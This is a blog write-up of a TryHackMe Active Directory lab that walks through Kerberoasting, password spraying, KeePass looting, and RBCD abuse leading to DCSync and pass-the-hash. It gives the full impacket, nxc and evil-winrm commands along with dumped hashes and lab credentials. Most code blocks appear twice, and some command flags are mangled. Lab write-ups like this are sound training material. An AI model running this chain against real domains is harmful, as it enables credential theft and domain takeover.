July 14, 2026
Forward — TryHackMe Room (A.D.)
TL;DR

By RyanSec
7 min read
TL;DR
An assumed-breach Active Directory box. You start with a low-priv domain user, RDP in, loot a KeePass database that hands over a second account, spray a reused password to reach a third, then abuse a write permission over the DC's delegation attribute to pull off Resource-Based Constrained Delegation (RBCD). Impersonate Administrator, DCSync, done.
The kill chain:
j.smith → KeePass loot → t.jones → password spray → r.williams → RBCD on DC01 → Administrator
The setup
The room drops you in with the Assume Breach mindset — you're handed initial credentials, like an internal pentest or a red team engagement that starts post-phishing. No web app to pop, no initial foothold to grind. Just a domain user and a question: how far can you go?
// given credentials
ctf.local\j.smith : JSmith@IT2024
Target: DC01 — 10.48.131.121// given credentials
ctf.local\j.smith : JSmith@IT2024
Target: DC01 — 10.48.131.121Recon
The first item on my agenda is always to create the project folder and run a NMAP scan to discover ports, services and operating system information.
// nmap scan
nmap -sC -sV -O 10.49.153.138 -oN nmapscan.txt// nmap scan
nmap -sC -sV -O 10.49.153.138 -oN nmapscan.txtThe open ports are a textbook domain controller fingerprint: DNS, Kerberos, LDAP, SMB, and RDP all shown in the results of the scan.
The room gave us initial credentials, so the plan of attack is to enumerate for other users, groups and shares using nxc with the given credentials.
// nxc to enumerate smb for users, groups and shares
nxc smb 10.49.153.138 -u j.smith -p 'JSmith@IT2024' - users - pass-pol - shares// nxc to enumerate smb for users, groups and shares
nxc smb 10.49.153.138 -u j.smith -p 'JSmith@IT2024' - users - pass-pol - sharesI discovered that the Account Lockout Threshold: None meaning there is no risk of locking out an account for too many incorrect login attempts.
Account Lockout Threshold: NoneAccount Lockout Threshold: NoneThe user list showed a clear hierarchy:
// Users on AD
j.smith — IT Staff
t.jones — Help Desk
r.williams — Help Desk Senior
svc.helpdesk — HelpDesk Service Acct// Users on AD
j.smith — IT Staff
t.jones — Help Desk
r.williams — Help Desk Senior
svc.helpdesk — HelpDesk Service AcctA ladder from IT down through Help Desk to a service account. That's a hint about where the path runs for the rooms completion.
The Kerberoast red herring
svc.helpdesk is a service account with an SPN, and it even carried a constrained delegation flag. Textbook Kerberoast target, so I roasted it:
// impacket to retrieve the hash
impacket-GetUserSPNs ctf.local/j.smith:'JSmith@IT2024' -dc-ip 10.49.153.138 -request
// The svc.helpdesk hash:
$krb5tgs$23$*svc.helpdesk$CTF.LOCAL$ctf.local/svc.helpdesk*$5fb1bd92596185fb7d58c0f31e578198$db50b3af371fbe7d29ecc6aa4347dd09d410ecb8fe1da74695f721fd749b8dfe5ee2e8bf763d17ee98aeff846216bc2a2e4d2347f2b5aae3f3ab3c78520f602fdb8874ed2c444e6e1339823c6ee3074f756bd988707340ec58a929a7835f99dbea90ccb4409cd4171a95251ffb26e05815ecc2f3d11bfb0628ebb49aed42bf06a37331afa0149987f498e22fa0e9337d3b1b5b077c8e76460988100dc5f4444c99aabb6d78ea0d876c0fe6ee41f063d9ceb2e58c142552d25dc89f01f5df84ec934dff154fb4bee02f8eb248e4e5d51e697ac4be3b8bd59c024ad8705206eb877efa282f91f88c0444f371fbeb33efc225ff63a4227ca2802b3c8e64d11f968bfdfc4be4d6391119b36390a5f9a81acea26a2c72594266b631b2b79bd4db047daf0931d924f97cf100f2ea419bf73bbf9208512fcecdd13728fe8c4b6e53e813a56bc1f22904c50dfb99002d3d5ed13c307c73a6ff62e55ae462dff00d4c608013e53dccc94dc40a6fd7005b14e68e60fa2c8465a80d2975e432e166f0829bc6a6f573304002ce59602cb0c08a7f88abaa494cd80d55389b178706a45ae38dbd7beaaf1c13d7b960d2831f5036982f9bc099350e416202233e48d8fb43ac864de6a487f1674bf47b806357e3910a89fcb049b54b622ea5e3d2914b768a20621335ee7a585a7b95ba6de6365573177b4566b340a81a83ed13b62e8dc79488934078dcf9fe65b4cd5492882997abbd311f5e22c796d4020f479788bf59ee5ea9f8efb9dc958db2f6a1fbd78b0af6352f7e9cb77622bd9e030cdc23ef467536e26221e407fe785c5f241dd1fd49a1e10497ace6e1df776c62908024c1a109bfa70d21968edb38b8c6072a88d376360979b2f1959a3dc044f5b6e9eed60622fca17ef4dc000438d4396f24c5ebffa0b047fd44536da1fa0255f92cac9d612937d56df015e760356e129003e164e1d9ff94b961a5f86c643cf6b435649ed3449f359f02101a79ac9d8774a76d5988fe82613dc1536fb2df933098a6c8ecd643b138e5dd405ed8c1a1c648b44442e63afe7dca61bda1bdcd08b47a501bf06fff52c1ab03a126cb447a538d1c10b0cc1b8303dc2f52973d35061890e1aea10240ff218ff7b5ce76474ee578fa837af
// $krb5tgs$ = mode 13100
hashcat -m 13100 svchash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 svchash /usr/share/wordlists/rockyou.txt -r best64.rule// impacket to retrieve the hash
impacket-GetUserSPNs ctf.local/j.smith:'JSmith@IT2024' -dc-ip 10.49.153.138 -request
// The svc.helpdesk hash:
$krb5tgs$23$*svc.helpdesk$CTF.LOCAL$ctf.local/svc.helpdesk*$5fb1bd92596185fb7d58c0f31e578198$db50b3af371fbe7d29ecc6aa4347dd09d410ecb8fe1da74695f721fd749b8dfe5ee2e8bf763d17ee98aeff846216bc2a2e4d2347f2b5aae3f3ab3c78520f602fdb8874ed2c444e6e1339823c6ee3074f756bd988707340ec58a929a7835f99dbea90ccb4409cd4171a95251ffb26e05815ecc2f3d11bfb0628ebb49aed42bf06a37331afa0149987f498e22fa0e9337d3b1b5b077c8e76460988100dc5f4444c99aabb6d78ea0d876c0fe6ee41f063d9ceb2e58c142552d25dc89f01f5df84ec934dff154fb4bee02f8eb248e4e5d51e697ac4be3b8bd59c024ad8705206eb877efa282f91f88c0444f371fbeb33efc225ff63a4227ca2802b3c8e64d11f968bfdfc4be4d6391119b36390a5f9a81acea26a2c72594266b631b2b79bd4db047daf0931d924f97cf100f2ea419bf73bbf9208512fcecdd13728fe8c4b6e53e813a56bc1f22904c50dfb99002d3d5ed13c307c73a6ff62e55ae462dff00d4c608013e53dccc94dc40a6fd7005b14e68e60fa2c8465a80d2975e432e166f0829bc6a6f573304002ce59602cb0c08a7f88abaa494cd80d55389b178706a45ae38dbd7beaaf1c13d7b960d2831f5036982f9bc099350e416202233e48d8fb43ac864de6a487f1674bf47b806357e3910a89fcb049b54b622ea5e3d2914b768a20621335ee7a585a7b95ba6de6365573177b4566b340a81a83ed13b62e8dc79488934078dcf9fe65b4cd5492882997abbd311f5e22c796d4020f479788bf59ee5ea9f8efb9dc958db2f6a1fbd78b0af6352f7e9cb77622bd9e030cdc23ef467536e26221e407fe785c5f241dd1fd49a1e10497ace6e1df776c62908024c1a109bfa70d21968edb38b8c6072a88d376360979b2f1959a3dc044f5b6e9eed60622fca17ef4dc000438d4396f24c5ebffa0b047fd44536da1fa0255f92cac9d612937d56df015e760356e129003e164e1d9ff94b961a5f86c643cf6b435649ed3449f359f02101a79ac9d8774a76d5988fe82613dc1536fb2df933098a6c8ecd643b138e5dd405ed8c1a1c648b44442e63afe7dca61bda1bdcd08b47a501bf06fff52c1ab03a126cb447a538d1c10b0cc1b8303dc2f52973d35061890e1aea10240ff218ff7b5ce76474ee578fa837af
// $krb5tgs$ = mode 13100
hashcat -m 13100 svchash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 svchash /usr/share/wordlists/rockyou.txt -r best64.ruleIt never cracked. rockyou plus rules — exhausted. AS-REP roasting came
back empty too (No entries found!).
Lesson learned: that constrained flag was a distraction. The real delegation abuse in this room had nothing to do with svc.helpdesk. When a signal is loud but leads nowhere, stop forcing it and go enumerate the actual rights.
Foothold — RDP in
j.smith is a member of Remote Desktop Users. So instead of fighting remotely, just log onto the box.
// xfreerdp to connect to j.smith workstation
xfreerdp /u:j.smith /p:'JSmith@IT2024' /v:10.49.153.138 /dynamic-resolution// xfreerdp to connect to j.smith workstation
xfreerdp /u:j.smith /p:'JSmith@IT2024' /v:10.49.153.138 /dynamic-resolutionInside C:\Users\j.smith\Documents sits Database.kdbx — a KeePass database.
Lateral movement 1 — cracking KeePass
My first instinct was to copy the file to Kali and crack it. That failed immediately:
! Database.kdbx : File version '40000' is currently not supported!! Database.kdbx : File version '40000' is currently not supported!Version 40000 means it's a KDBX 4 database, and the keepass2john on my box was too old to parse it. I could have chased a newer extraction tool… but there was a much simpler move.
Open it in place. KeePass is already installed on the box. Opening the database inside the RDP session — rather than dragging it back to Kali — unlocked it cleanly. Pulling the file off the host had stripped it from whatever context let it open.
Inside the database was credentials for the next user: t.jones. Just right click the password field and paste into notepad.
// Credentials for t.jones
t.jones : Helpdesk01!// Credentials for t.jones
t.jones : Helpdesk01!Lateral movement 2 — password spray
From here, I connected to the AD as t.jones and poked around the Group Policy Management and User / Computer portals although was unable to find any way of moving forward. Permissions were locked down. I lost a lot of time trying to find a way forward.
I created a list of the known usernames, called users.txt, and sprayed our new password using nxc once more.
// nxc spray
nxc smb 10.49.153.138 -u users.txt -p 'Helpdesk01!' --continue-on-success// nxc spray
nxc smb 10.49.153.138 -u users.txt -p 'Helpdesk01!' --continue-on-successA second hit:
// r.williams credentials found
r.williams : Helpdesk01!// r.williams credentials found
r.williams : Helpdesk01!r.williams - Help Desk Senior . The account that will take us to admin.
Finding the path — BloodHound
I collected BloodHound data as r.williams:
// bloodhound scan
bloodhound-python -u r.williams -p 'Helpdesk01!' -d ctf.local -ns 10.49.153.138 -c All// bloodhound scan
bloodhound-python -u r.williams -p 'Helpdesk01!' -d ctf.local -ns 10.49.153.138 -c All
Then the BloodHound GUI refused to cooperate — neo4j issues, a hung wrapper, and finally a PostgreSQL collation mismatch that killed setup entirely. Rather than lose an hour to tooling, I read the ACLs straight out of the collected JSON with jq.
So the thing here is we run 2 checks.
- Enumerate control rights on the domain controller. BloodHound stores ACLs on the target object, so rights over DC01 live in the computers file:
// Enumerate rights on DC
jq -r '.data[] | .Properties.name as $t | (.Aces // [])[] | "\(.PrincipalSID) --\(.RightName)--> \($t)"' \
*_computers.json 2>/dev/null \
| grep -iE 'GenericWrite|GenericAll|WriteProperty|WriteDacl|AllowedToAct|Owns'// Enumerate rights on DC
jq -r '.data[] | .Properties.name as $t | (.Aces // [])[] | "\(.PrincipalSID) --\(.RightName)--> \($t)"' \
*_computers.json 2>/dev/null \
| grep -iE 'GenericWrite|GenericAll|WriteProperty|WriteDacl|AllowedToAct|Owns'
This surfaces an AllowedToAct on DC01 held by the SID 1611 the write primitive over msDS-AllowedToActOnBehalfOfOtherIdentity, i.e. RBCD.
2. Confirm who that SID is. The stand-out suspect is our most recent user, r.williams
// Check r.williams SID
jq -r '.data[] | select(.Properties.name|test("R.WILLIAMS";"i")) | .ObjectIdentifier' *_users.json// Check r.williams SID
jq -r '.data[] | select(.Properties.name|test("R.WILLIAMS";"i")) | .ObjectIdentifier' *_users.json
The SID matches 1611 is r.williams, the account we already own. He holds the RBCD write directly, so the path is confirmed.
Privilege Escalation to Administrator
That attribute msDS-AllowedToActOnBehalfOfOtherIdentity is DC01's list of principals it trusts to impersonate users to it. If you can write to it, you can add a computer account you control, then tell the DC to trust that machine to act on behalf of anyone. Including Administrator.
That's Resource-Based Constrained Delegation abuse. Against a domain controller, it's a straight line to Domain Admin.
The plan:
- Create a computer account you control
- Write it into DC01's delegation attribute
- Forge a ticket impersonating Administrator
- Use it to DCSync and dump every hash
Privilege escalation — RBCD / S4U
Confirm the write permission (native)
From the r.williams RDP session, I proved the write worked using only the built-in AD module.
Get-ADComputer DC01 -Properties PrincipalsAllowedToDelegateToAccountGet-ADComputer DC01 -Properties PrincipalsAllowedToDelegateToAccount
Set-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount r.williams
Set-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount $nullSet-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount r.williams
Set-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount $nullIt returned silently — success. r.williams can write the delegation attribute.
Create the attacker computer account
RBCD needs a computer account whose password I know, so I can forge tickets as it. First, check the quota:
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) -Properties ms-DS-MachineAccountQuotaGet-ADObject -Identity ((Get-ADDomain).DistinguishedName) -Properties ms-DS-MachineAccountQuota
Returned 10 meaning normal users can add machine accounts. Good.
But creating it failed twice:
// first error
New-ADComputer : The modification was not permitted for security reasons
ActiveDirectoryServer:8423
// second error
New-ADComputer : A required attribute is missing
ActiveDirectoryServer:8316// first error
New-ADComputer : The modification was not permitted for security reasons
ActiveDirectoryServer:8423
// second error
New-ADComputer : A required attribute is missing
ActiveDirectoryServer:8316The native cmdlet wouldn't populate what the DC demanded under r.williams's context. impacket-addcomputer uses a different wire path and succeeds where powershell failed.
Switched to Kali:
// Added dc to hosts
echo '10.49.153.138 DC01 DC01.ctf.local ctf.local' | sudo tee -a /etc/hosts
sudo ntpdate 10.49.153.138
// Created computer and account with impacket
impacket-addcomputer -computer-name 'Attackerpc$' -computer-pass 'Attacker1!' \
-dc-host DC01 -domain-netbios ctf.local 'ctf.local/r.williams:Helpdesk01!'// Added dc to hosts
echo '10.49.153.138 DC01 DC01.ctf.local ctf.local' | sudo tee -a /etc/hosts
sudo ntpdate 10.49.153.138
// Created computer and account with impacket
impacket-addcomputer -computer-name 'Attackerpc$' -computer-pass 'Attacker1!' \
-dc-host DC01 -domain-netbios ctf.local 'ctf.local/r.williams:Helpdesk01!'
Write RBCD → forge ticket → DCSync
// Use r.williams credentials to delegate from our attacker machine to the DC
impacket-rbcd -delegate-from 'Attackerpc$' -delegate-to 'DC01$' -action write \
'ctf.local/r.williams:Helpdesk01!'// Use r.williams credentials to delegate from our attacker machine to the DC
impacket-rbcd -delegate-from 'Attackerpc$' -delegate-to 'DC01$' -action write \
'ctf.local/r.williams:Helpdesk01!'
// forge our ticket
impacket-getST -spn 'cifs/DC01.ctf.local' -impersonate 'Administrator' \
'ctf.local/Attackerpc$:Attacker1!'// forge our ticket
impacket-getST -spn 'cifs/DC01.ctf.local' -impersonate 'Administrator' \
'ctf.local/Attackerpc$:Attacker1!'
// point KRB5CCNAME at the forged ticket so impacket tools auth with -k (no password)
export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
// use our ticket to dump hashes from the DC (fun!)
impacket-secretsdump -k -no-pass ctf.local/Administrator@DC01.ctf.local// point KRB5CCNAME at the forged ticket so impacket tools auth with -k (no password)
export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
// use our ticket to dump hashes from the DC (fun!)
impacket-secretsdump -k -no-pass ctf.local/Administrator@DC01.ctf.localAnd the hashes fall out:
// Admin hash found
// 2dfe3378335d43f9764e581b856a662a
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dfe3378335d43f9764e581b856a662a:::// Admin hash found
// 2dfe3378335d43f9764e581b856a662a
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dfe3378335d43f9764e581b856a662a:::Domain Admin — Pass-the-Hash
At this point, it is over. We have the Administrator hash. We simply need to pass it and login.
// Pass admin hash and login to AD as Administrator with evil-winrm
evil-winrm -i 10.49.153.138 -u Administrator -H 2dfe3378335d43f9764e581b856a662aAdministrator on the domain controller. Grab the flag:// Pass admin hash and login to AD as Administrator with evil-winrm
evil-winrm -i 10.49.153.138 -u Administrator -H 2dfe3378335d43f9764e581b856a662aAdministrator on the domain controller. Grab the flag:What this room teaches
- Check the password policy first.
Account Lockout Threshold: Noneis a green light to spray and roast freely. - Loot KeePass in-session. If
keepass2johnfails with "version 40000 not supported," it's KDBX4 — open it with the client on the box instead of cracking off-host. - Password reuse is the default assumption in these kind of rooms on TryHackMe. One cred recovered → spray it everywhere before doing anything clever.
- Don't tunnel on the loudest signal. The
constrainedflag on svc.helpdesk was a red herring. Enumerate the actual rights. jqon BloodHound JSON beats a broken GUI. The graph is a convenience; the ingestor JSON is the source of truth.- Native failing ≠ attack failing.
New-ADComputerrefused;impacket-addcomputerworked. Different wire paths. - RBCD end-to-end: WriteProperty on the delegation attribute → add computer → rbcd write → getST S4U → secretsdump → Pass-the-Hash. Against a DC, that's Domain Admin.
Good room. It leans on one genuinely obscure dangerous right and rewards you for enumerating properly instead of forcing the obvious path.
Thanks for reading. If this helped, a clap and a follow go a long way — more AD and other hacking write-ups on my journey to OSCP!